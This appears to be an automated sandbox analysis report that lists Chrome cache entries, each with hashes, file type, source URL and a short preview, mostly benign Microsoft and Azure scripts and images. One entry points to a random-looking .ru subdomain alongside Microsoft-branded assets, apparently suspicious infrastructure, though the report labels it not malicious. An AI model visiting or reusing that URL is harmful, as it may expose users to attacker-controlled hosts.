path\x3d"+b.path:"",b.domain?"; domain\x3d"+b.domain:"",b.secure?";

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47691)
Category:	dropped
Size (bytes):	47692
Entropy (8bit):	5.4016459163756165
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHuzZBF6gmXLSOzQDjdxdOQbk6sgEvk/7b39tobLKZUanw81KZLGcD:IGJWHuzZBF6xbGfLsVvy33FUaDW
MD5:	9046FDD8B20F930F537279DEDE41E747
SHA1:	EBB905F60D71F45D056D42E6096736EA8C2D4BD9
SHA-256:	5AAC9E52F80011983676C03AD8120E0369E651E6357D0B05054026A3BC8EC32D
SHA-512:	F289C718B32D9E75E5725116D7696070C840426310B2A75E3EE66933E50B85BF738B4015FCFB8BAF7A8545B600B9820D85F8BB41C055FB0877C1420655E5E975
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	406
Entropy (8bit):	4.645093417199183
Encrypted:	false
SSDEEP:	12:M9BAG1/qAT9BAs1/qKdDYT9BAR6T9BAOk/CMRZcJfRDZ:M9p/qS91/qfT9J9yRC5N
MD5:	F9F2395C582FA601707B7A5DFAE9F05F
SHA1:	27B15AECD0BFDD3B25556AC00755856D4D331E0D
SHA-256:	D7D6D06624D4BDF6935B848DF342CE322D02B58D12BF12149DF92D557E5E9BC4
SHA-512:	F3378927D96B0B172981A821A8C2A16D0F397ED92E835B7C46316FC48350402D972A5411F0FA4C260F205AA1F7917F83F8247BF8A62C7F22E0076B168275B1E9
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-uhf.min.ACSHASHf9f2395c582fa601707b7a5dfae9f05f.css
Preview:	.c-uhfh .c-action-trigger.glyph-shopping-cart span:not(.shopping-cart-amount),.c-uhfh .c-action-trigger.glyph-shopping-bag span:not(.shopping-cart-amount){line-height:48px !important}..c-uhfh .c-action-trigger.glyph-shopping-cart:after,.c-uhfh .c-action-trigger.glyph-shopping-bag:after{line-height:43px}..c-uhfh.c-sgl-stck .c-search button{line-height:18px}..msame_Header_name{line-height:44px !important}

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26038)
Category:	downloaded
Size (bytes):	1075049
Entropy (8bit):	5.534428059476112
Encrypted:	false
SSDEEP:	24576:d20QNvWXig0OTihO3oLGiUL3JCwKlJUhtj1HcKiJvQnR7siWP6VJywywjYenicPE:d20QNqig0OTihO3oLGiUL3JCwKlJUhte
MD5:	40E19CF8ACC7DA8B412D9DC7AEC9CADF
SHA1:	1C8C41E5539DF84A456E7489337232CD39B935D6
SHA-256:	8FFC6D2FF1CFE373AA978197626007D737D245DE335B028DC832C53D4EAD3A94
SHA-512:	1FAA14005B3390DEBBD54BED2156DA6C7ACF6B2A547D7B31A4ABD2FBC9333017AA1749F0FE4F72F1A7A6AAFF095DFF5F1472C09B2F75BBB047D86135668B8AC8
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/videoplayer/ump.mjs
Preview:	// Universal Media Player.// Build Date: 2024-12-18T00:52:50.018Z.// Commit: 3c417ad49a0341f52951cad65ea4e26f64002fda.// Build Number: 20241218.02../*. @license. * Copyright 2021 Google LLC. * SPDX-License-Identifier: BSD-3-Clause. /let U8=class extends Event{constructor(a,s,l){super("context-request",{bubbles:!0,composed:!0}),this.context=a,this.callback=s,this.subscribe=l??!1}};/. @license. * Copyright 2021 Google LLC. * SPDX-License-Identifier: BSD-3-Clause. //. @license. * Copyright 2021 Google LLC. * SPDX-License-Identifier: BSD-3-Clause. */let O8=class{constructor(a,s,l,p){if(this.subscribe=!1,this.provided=!1,this.value=void 0,this.t=(d,m)=>{this.unsubscribe&&(this.unsubscribe!==m&&(this.provided=!1,this.unsubscribe()),this.subscribe\|\|this.unsubscribe()),this.value=d,this.host.requestUpdate(),this.provided&&!this.subscribe\|\|(this.provided=!0,this.callback&&this.callback(d,m)),this.unsubscribe=m},this.host=a,s.context!==void 0){const d=s;this.context=d.context,this.c

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (65103)
Category:	downloaded
Size (bytes):	209939
Entropy (8bit):	5.366006952026174
Encrypted:	false
SSDEEP:	3072:1P6RsHIwj0PdUgdbs8kvdYkODdlm9AZoZXs+eSc:1msHIxHMvd8dtZoZDc
MD5:	FA4C76A7FDE62B18054CF7EB8E946012
SHA1:	B20150066A879D2B78DD3D4908F4ACD148EE66F8
SHA-256:	09EBD7F407439990AAC227E70DA23E1A819E8E30282928E324370805F480BEC4
SHA-512:	D72F5D078675C7ADBF6BFC1980712542A10668AEC9163137A2EC70A5E117F8FFDD0F06A6C4C6636E35C04F2754F33D40C65C59D452AFAA8EA4A382F24F200ABD
Malicious:	false
Reputation:	low
URL:	https://s.go-mpulse.net/boomerang/E7B88-8P87Z-VT9SJ-BNQSU-2GTUH
Preview:	/. Copyright (c) 2011, Yahoo! Inc. All rights reserved.. * Copyright (c) 2011-2012, Log-Normal, Inc. All rights reserved.. * Copyright (c) 2012-2017, SOASTA, Inc. All rights reserved.. * Copyright (c) 2017, Akamai Technologies, Inc. All rights reserved.. * Copyrights licensed under the BSD License. See the accompanying LICENSE.txt file for terms.. /./ Boomerang Version: 1.720.0 b17966bb92f8ac2ddcda4ac1d9c0aaea6d2eda7b */..BOOMR_start=(new Date).getTime();function BOOMR_check_doc_domain(e){if(window){if(!e){if(window.parent===window\|\|!document.getElementById("boomr-if-as"))return;if(window.BOOMR&&BOOMR.boomerang_frame&&BOOMR.window)try{BOOMR.boomerang_frame.document.domain!==BOOMR.window.document.domain&&(BOOMR.boomerang_frame.document.domain=BOOMR.window.document.domain)}catch(t){BOOMR.isCrossOriginError(t)\|\|BOOMR.addError(t,"BOOMR_check_doc_domain.domainFix")}e=document.domain}if(e&&-1!==e.indexOf(".")&&window.parent){try{window.parent.document;return}catch(t){try{document.doma

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (590)
Category:	downloaded
Size (bytes):	1716
Entropy (8bit):	5.2304068952006615
Encrypted:	false
SSDEEP:	48:4435HDQ258U3JqVnCG/6YyTrkzRLj9tSRAE9P:hU25ZqVC6ByTrWRLjSRAE9P
MD5:	4CFFC2C9B55F8BDE649E0D2535A1EEBD
SHA1:	2AAF4DF1E02ED4F5BB48F00A7423F748BF544E0C
SHA-256:	7BB50A050792F761855CC330E0248D037B37DD68FD23FBB7DB8A7E8694F50A94
SHA-512:	599C87219B7E264CFF8E6951192C691E26DFFA88EFC607EDFE9205F1BB08DA28FD61B508FAE93652BE36BE1ADA57E50661490925B247A43C3EB7F24D8CA0C8D0
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/microsoft/clientlibs/exp-analytics/v1.min.ACSHASH4cffc2c9b55f8bde649e0d2535a1eebd.js
Preview:	'use strict';var experimentationAnalytics=function(){function g(a){return a&&0<a.length?!1:!0}function m(a){return Object.keys(a).map(function(b){return b+""+a[b]}).join("")}function n(a){var b=a.reduce(function(c,e){c[m(e)]=e;return c},{});return Object.keys(b).map(function(c){return b[c]})}function h(a){console.log("sendToVortex Call");a&&a.analytics&&f(a)}function k(a){return{actionType:"A",behavior:"12",content:JSON.stringify({}),pageTags:{tnta:a&&a.analytics?a.analytics.tnta:""}}}function l(a,.b){return{actionType:"A",behavior:"12",content:JSON.stringify({}),pageTags:{tnta:"",at_activity_name:a&&a.responseTokens[b]?a.responseTokens[b]["activity.name"]:"",at_exp_name:a&&a.responseTokens[b]?a.responseTokens[b]["experience.name"]:"",at_activity_id:a&&a.responseTokens[b]?a.responseTokens[b]["activity.id"]:"",at_exp_id:a&&a.responseTokens[b]?a.responseTokens[b]["experience.id"]:""}}}function f(a,b,c){b="number"===typeof b?b:25;c="number"===typeof c?c:200;var e=0;if(window.expAnalytics&

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C++ source, ASCII text
Category:	downloaded
Size (bytes):	3280
Entropy (8bit):	4.696081700274861
Encrypted:	false
SSDEEP:	96:mVZw3gPuCrA3sLT1m7RArtNmOuLT2LZ0dZyMLtZ/AmVT8TZi:mVZ4gPuCQqBQRArtMOEalxMLtZ47i
MD5:	1C7E214F5AF8CAA06F783A38D40127C6
SHA1:	61F88B722FAA7A7AE86D354DBCFC1D771FF23289
SHA-256:	9EA42247944D18B77EB76FBCCAF1774559B6F312B1376002F553C4ECB827E4C5
SHA-512:	559A3FA3364B742E5915E871333C043CF27F25110D3A624D0CDDC75DEE795F8633EB0C8A3186F2088B52516C1BC3A90F13545F9415278F3A4A52992AB7E8C96C
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/clientlib-onecloud-util.min.ACSHASH1c7e214f5af8caa06f783a38d40127c6.js
Preview:	class OneCloudUtil {.. /*. Get the API endpoint for the OneCloud Data Connector.. * @param {string} path - The path to append to the API endpoint.. * @param {string} querystring - The query string to add to the API endpoint.. * @returns {string} - The API endpoint with the environment specific query parameters.. /. static getMsocapiurl = (path, querystring) => {. let url = `${OneCloudEnvironmentConstants.DataConnector.endpoint}${path}`;. let envQueryParamKeys = Object.keys(OneCloudEnvironmentConstants.DataConnector.queryParams);.. // Add passed query string.. if(querystring && querystring.length > 0) {. url += `?${querystring}`;. } else if (envQueryParamKeys.length > 0) {. url += '?';. } .. // Add environment specific query parameters and return.. return OneCloudUtil.addEnvironmentSpecificQueryParams(url);;. }.. /. Add environment specific query parameters to the url.. * @param {string} url - The url to add the query paramete

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1976
Entropy (8bit):	4.4820518319503835
Encrypted:	false
SSDEEP:	48:+cntsSY/J2UDI2sGulM/wlN1vq0GAg/QK0j2rQzMGuFiFmGIGuFrFmGdqs:PnOSYhJDIJlMolN1wv0/yUFYNFvqs
MD5:	106A6A519DAD38A935C4D5AA2786D6FB
SHA1:	3340ADF8A3220D92786A423BEED46092103C5D7D
SHA-256:	C0F462098BFAC577C182C3A983C6A35A5016A5EE96655CF7B57A46F70EAB83EF
SHA-512:	8F0E42976D0D5D362CECD6CDDBE3F1DC84BAC7149DBAA78C8787409EE4224D04E5FE8D68631799ABF3E2DFA04D97B87F9F93A9B3399632E15C135B527558273A
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/components/content/reimagine/atomic/accordion/v2/accordion/clientlibs/site.min.ACSHASH106a6a519dad38a935c4d5aa2786d6fb.js
Preview:	.(function (document) {. document.addEventListener("DOMContentLoaded", () => {. const attrElement = $(".ocr-accordion .btn-collapse");.. /*. Data attributes for accordion elements.. * @typedef {Object} DataAttributes. * @property {string} off - Data attribute value when the element is collapsed.. * @property {string} on - Data attribute value when the element is not collapsed.. /. const dataAttributes = {. "bi-bhvr": { off: "7", on: "8" },. "bi-ct": { off: "Accordion Expend", on: "Accordion Collapse" },. };.. /. Update data attributes based on the collapse state.. * @param {Object} currentObj - Current collapse instance.. */. const updateDataAttribute = (currentObj) => {. const isCollapsed =. currentObj?.triggerElement.classList.contains("collapsed");.. Object.entries(dataAttributes).forEach(([attribute, values]) => {. const dataAttrValue = isCollapsed

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (510)
Category:	downloaded
Size (bytes):	1973
Entropy (8bit):	4.4914538760871165
Encrypted:	false
SSDEEP:	48:xCgigRgQgGKgeg5Cgfgy7gBgugDgBCgRgogvg+gdg27eG8T5aW:IlmvhK5TQX7WpMV8V2HgDeG8taW
MD5:	81B1EF0C4A6B80454291234FCD6E45B0
SHA1:	1353F3119D378FFB222149AE19755423EF5347BE
SHA-256:	B05D865A37D5EFC60E028BC9FBC6B63459C78D21B0B70B3797AC97C1AD9BA88D
SHA-512:	6409931AF06BAE75E4CFC57FF2B877915404A9D805F8C9076390C4BC8FF634BA96B2ED561FCC4E57869110E62BE05AB75A1578E7935CEC9605EAA77C893643AD
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-reimagine-base.min.ACSHASH81b1ef0c4a6b80454291234fcd6e45b0.css
Preview:	[data-oc-token-text]{display:contents}..editorial-article--chapter .editorial-article__slot .block-heading h1,.editorial-article--chapter .editorial-article__slot .block-heading h2,.editorial-article--chapter .editorial-article__slot .block-heading h3,.editorial-article--chapter .editorial-article__slot .block-heading h4,.editorial-article--chapter .editorial-article__slot .block-heading h5,.editorial-article--chapter .editorial-article__slot .block-heading p{margin-block:var(--root-spacing-xl)}..editorial-article--chapter .editorial-article__slot .block-heading h1:first-child,.editorial-article--chapter .editorial-article__slot .block-heading h2:first-child,.editorial-article--chapter .editorial-article__slot .block-heading h3:first-child,.editorial-article--chapter .editorial-article__slot .block-heading h4:first-child,.editorial-article--chapter .editorial-article__slot .block-heading h5:first-child,.editorial-article--chapter .editorial-article__slot .block-heading p:first-child{ma

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4565
Entropy (8bit):	7.879534543139402
Encrypted:	false
SSDEEP:	96:aSNKFuwJEQpaGX5wC3wglX5YEGdqsR1VsIAufA0E3xnMMV7:aSN3QpayvmEGdqsxsW7EhMMF
MD5:	D596565EC1F100A507CC0D5F663B6D57
SHA1:	6B688AA0541E5758B9A54C1848C6A52886E081BA
SHA-256:	4C8A06620DD3AADE66AEB759A5FC2BCEC1B51B66EA9C456B5DC3F511CB783258
SHA-512:	7E7CAF2644B686064959389EA975BC1701C8FB3FB23C44B701FE710227FE2A0A0B58769AABA6569FCBE1D79E44E5669CD60036060B3144E0C6B97A8C40D6CA9B
Malicious:	false
Reputation:	low
URL:	"https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/UHFbanner-MSlogo?fmt=png-alpha&bfc=off&qlt=100,1"
Preview:	.PNG........IHDR.............J.......pHYs.................IDATx...t..u...H.$~X.....\|L16.8@........`p.&.,..+.mPKh....4)$$.H..+Y....?SB.l.1..H!.4....c+..-k...cf.....Z.bZ......f..w.}.=.}......o....G.t%.?C...SOV.n..r!.t.<<.?.)..G......x...QA<... ..yxT..@w...Jkk..t:=....8....a.w..t)ux.v.......3TU}...........4.Z..@D.\...O.......<....\J).<......u.$..^.!.rfV.y},.[....a.....Q+..d...i...9..=..iU..S"ZY$[...&..1......9r"..........O.R..h..n..B...X2..OD.,..n.4..]..k<.{..K..)...J.oB)...<.}>..6.o.~..X!.W..3s..,.<.Rj;DDg..........B\....;`..N...=1....L&.2...X,.z&m.)X1\|.\|9.`B.K`..K...u.K)7.o...CQ.9.\|.C<....b......DD..] .\b....@0...d..s..X....0.S...2uuu.&..C.......O=..O..4-..+..ttt.+WV3......L......f.\..\......dr!.....[o.u_SSS...a.a..B....?.n.8.O.f.N...+....c}2O....p8.www..)b....D.........s4..~z..!.tQ...\........2{3X.o........OK$.'..}.M.f.8..c..DT....Kl.);\.=.;::d.2.v..RN.p..Bef.(.G.tz{<..QJ[.....1W.X1Y.1.....]......<....H.0&..~..y..(.E".wK..........G2.".L..

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
URL:	https://aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru/598751268380591bUNXIIfJaIAHTIXSYQUJXLCQDGIOWNJQWJMTAUJIIGQ
Preview:	1

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (309), with no line terminators
Category:	downloaded
Size (bytes):	309
Entropy (8bit):	4.971196656935236
Encrypted:	false
SSDEEP:	6:QuVtCiR2cIT53AM+64uT7nadCkq9KwhA6ONHSInadLb1wnzjCY1ee:jVtCyB4w1cWdYpAfVSVdLa8e
MD5:	D7106DB242C2B41F88A1B02418BEC7E2
SHA1:	7A445118F0B5712744AA4AED6889B28C1E7779F7
SHA-256:	044527A735B287BD84D2AE6D2D3B89C85B52C9750BB07E5AEF19FB8F28F0442B
SHA-512:	C493FBD6926006108E56E23BB204BFE59A7364ED6D2409B5B258D9EA6C060259E13A7E7A22021607F6EDD55EEA52C75DFE7FCF18BB76D6E539FBD763BF399185
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/cascade.component.authoring/dynamicclientsidelibs/handlerscripts/v1.min.ACSHASHd7106db242c2b41f88a1b02418bec7e2.js
Preview:	'use strict';var DynamicClientSideScriptHandler=function(){return{fetchScriptLink:function(b){var a=(a=document.querySelector('div[data-identifier\x3d"'+b+'"]'))?a.getAttribute("data-content"):null;null===a&&(a=(b=document.querySelector('meta[name\x3d"'+b+'"]'))?b.getAttribute("content"):null);return a}}}();

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	175
Entropy (8bit):	4.68043398329258
Encrypted:	false
SSDEEP:	3:agWqLs3KOBmKL8ELDSzEfYZBAeOE8c/yCN9xGV9LH1CNILWAcELDlpKOBmKL8ELQ:QqtgLSH9xGf1OILWAfkgXe
MD5:	96F0C5B1219E39B8788028F5C17A5AD9
SHA1:	D6DCE0DE065B0D13905EAEDA0BA5C0DEA3D8F67C
SHA-256:	1FC2BCE2D46DF4565B8C488B22225CFE7ADB7C37CC9A542D4F85B61995B306CB
SHA-512:	057810FA0558506C6B8ABECB1A7A58FF61DA0609B3A5798BB42DE3A9B801CA0D8B20C4C1F9A250EE33D30492452CC5C4553332B16300408AA0C45B1515D4AF10
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-cookieconsent.min.ACSHASH96f0c5b1219e39b8788028f5c17a5ad9.js
Preview:	'use strict';function AEMOnCookieConsentChangedCallback(a){}if("undefined"!=typeof WcpConsent&&null!=WcpConsent)WcpConsent.onConsentChanged(AEMOnCookieConsentChangedCallback);

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65471)
Category:	downloaded
Size (bytes):	4004963
Entropy (8bit):	5.608526137357891
Encrypted:	false
SSDEEP:	49152:AqDJZ0Df8/CxDmmu/nwEMPLkdvrCr82Ijcysknuhz1BjR1NYS01tQjmyi:mTPWHljyo
MD5:	B43015D52D9B94E96ED0014BEEC60073
SHA1:	4FF02D873DE449E83D0BD2E8CA0AEE0CCCEC2A5C
SHA-256:	74F25E06CA7E129830D80CE20633807EE402C2163B758A9642A1845C59CADB14
SHA-512:	CEEDE0683CCAEC41D0C203EAE939331F82C0265ACBCFB218476183423EA207BA3C06A1E49FE7D91D6CB1F860801D899255A3BAC3DF340A5B1F3A35B09B97D322
Malicious:	false
Reputation:	low
URL:	https://cdn.botframework.com/botframework-webchat/latest/webchat.js
Preview:	/! For license information please see webchat.js.LICENSE.txt /.!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var r=t();for(var n in r)("object"==typeof exports?exports:e)[n]=r[n]}}(self,(function(){return function(){var e,t,r={37825:function(e,t,r){"use strict";var n=r(92412),i={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},o={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},a={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},s={};function c(e){return n.isMemo(e)?a:s[e.$$typeof]\|\|i}s[n.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},s[n.Memo]=a;var u=Object.defineProperty,l=Object.getOwnPropertyNames,p=Object.getOwnPropertySymbols,d=Object.getOwnPropertyDes

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	203
Entropy (8bit):	4.6712092041548265
Encrypted:	false
SSDEEP:	6:lTjYues7JVLt0dalnfJTTjYsQb7JVLt0dw:y5s7JVLTpfJU97JVLj
MD5:	44700D76F3F63FA33F30039BB9C74B39
SHA1:	F68B158102C2575081CB4308E4FEA483E1B9D604
SHA-256:	FD73C7131FEA30896A95BC1D0E9F08F383FEFB03730DB9A433F43B319EFF33AC
SHA-512:	2665D21274DB60A9BC6BCC7100DF57C2EE0E2264601A295902CC0E958CBA2B198E4C1AB6291947A8F33DC46D42AE0E1F586369CB3F3B011C751C81EFA755C234
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/clientlib-action.min.ACSHASH44700d76f3f63fa33f30039bb9c74b39.css
Preview:	body div[data-geo-country="US"] .us-hidden:not([data-isenvauthor="true"]){display:none}.body div[data-geo-country]:not([data-geo-country="US"]) .non-us-hidden:not([data-isenvauthor="true"]){display:none}

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4565
Entropy (8bit):	7.879534543139402
Encrypted:	false
SSDEEP:	96:aSNKFuwJEQpaGX5wC3wglX5YEGdqsR1VsIAufA0E3xnMMV7:aSN3QpayvmEGdqsxsW7EhMMF
MD5:	D596565EC1F100A507CC0D5F663B6D57
SHA1:	6B688AA0541E5758B9A54C1848C6A52886E081BA
SHA-256:	4C8A06620DD3AADE66AEB759A5FC2BCEC1B51B66EA9C456B5DC3F511CB783258
SHA-512:	7E7CAF2644B686064959389EA975BC1701C8FB3FB23C44B701FE710227FE2A0A0B58769AABA6569FCBE1D79E44E5669CD60036060B3144E0C6B97A8C40D6CA9B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............J.......pHYs.................IDATx...t..u...H.$~X.....\|L16.8@........`p.&.,..+.mPKh....4)$$.H..+Y....?SB.l.1..H!.4....c+..-k...cf.....Z.bZ......f..w.}.=.}......o....G.t%.?C...SOV.n..r!.t.<<.?.)..G......x...QA<... ..yxT..@w...Jkk..t:=....8....a.w..t)ux.v.......3TU}...........4.Z..@D.\...O.......<....\J).<......u.$..^.!.rfV.y},.[....a.....Q+..d...i...9..=..iU..S"ZY$[...&..1......9r"..........O.R..h..n..B...X2..OD.,..n.4..]..k<.{..K..)...J.oB)...<.}>..6.o.~..X!.W..3s..,.<.Rj;DDg..........B\....;`..N...=1....L&.2...X,.z&m.)X1\|.\|9.`B.K`..K...u.K)7.o...CQ.9.\|.C<....b......DD..] .\b....@0...d..s..X....0.S...2uuu.&..C.......O=..O..4-..+..ttt.+WV3......L......f.\..\......dr!.....[o.u_SSS...a.a..B....?.n.8.O.f.N...+....c}2O....p8.www..)b....D.........s4..~z..!.tQ...\........2{3X.o........OK$.'..}.M.f.8..c..DT....Kl.);\.=.;::d.2.v..RN.p..Bef.(.G.tz{<..QJ[.....1W.X1Y.1.....]......<....H.0&..~..y..(.E".wK..........G2.".L..

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C++ source, ASCII text
Category:	downloaded
Size (bytes):	3116
Entropy (8bit):	4.431505373285771
Encrypted:	false
SSDEEP:	48:e2rIqX/nyqHytWO/+75xy17A6d/X226/YU3/xopLk/OEBlKj/v4UPnxzgNar4n8u:lIAvyqSRcK66dODQhYUosRZg4hpRV6
MD5:	B884EF4864D6867BD00AA4A7A5CFB368
SHA1:	D45D8BD33632588A913575910B3D0EABD5AD3828
SHA-256:	177F6B14CEB87D301946D00124195EBB755A452BA40ABCA5CF6A4E77E52222F5
SHA-512:	375A8412459BBE64B6024C462D996B4B48DE246997BA36F5E26379F163D5FACA69CECC79E4FD246F92079A23DCD36AC2E8058D2C9663BA9D31C07C6786269581
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/clientlib-localstorage.min.ACSHASHb884ef4864d6867bd00aa4a7a5cfb368.js
Preview:	/.Utility class for handling data storage in the browser's local storage with encoding/decoding support..Note: This class is designed for storing and retrieving objects in local storage. ./ ..class LocalStorageUtil {. constructor(opts) {. // Set the storage key from options, defaulting to an empty object. this.storageKey = opts.storageKey \|\| {}; . }. . /*. Encode the value before storing in local storage. /. encodeValue = (value) => {. if(!value) {. return {};. }. . let encodedValue;. try {. encodedValue = window.btoa(JSON.stringify(value));. } catch(error) {. encodedValue = value. }. return encodedValue;. };. . /. Decode the value retrieved from local storage. */. decodeValue = (encodedValue) => {. if(!encodedValue) {. return {};. }. let decodedValue;. try {. decodedValue = window.atob(encodedValue); // Decode the encoded value.

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1999)
Category:	downloaded
Size (bytes):	419611
Entropy (8bit):	4.980054379765907
Encrypted:	false
SSDEEP:	12288:qDxREkZQKdaFA/RIc3f+u2wc/WVKSjdJjfMNlR48tmbK+2pA9XDTotHd9:uREkZQKdaFA/RIc3f+Pwc/6KSj7fMNl/
MD5:	3CB55A1B7E29CABDED7D23377524B55E
SHA1:	5731994750E31D9CD11085570630EAC99DC65845
SHA-256:	0953ECFC1629CBBB80658EEC92D00BA89058F6862E5CD742A419412207088D3C
SHA-512:	646E5BDE377A885E321790BDF16E07324754C5670B707F1BE4BC11208E2F2E2644189CECE32BFB9C86D51C503F37053D54E1CCC627ECA92D29A20EF2955A69FB
Malicious:	false
Reputation:	low
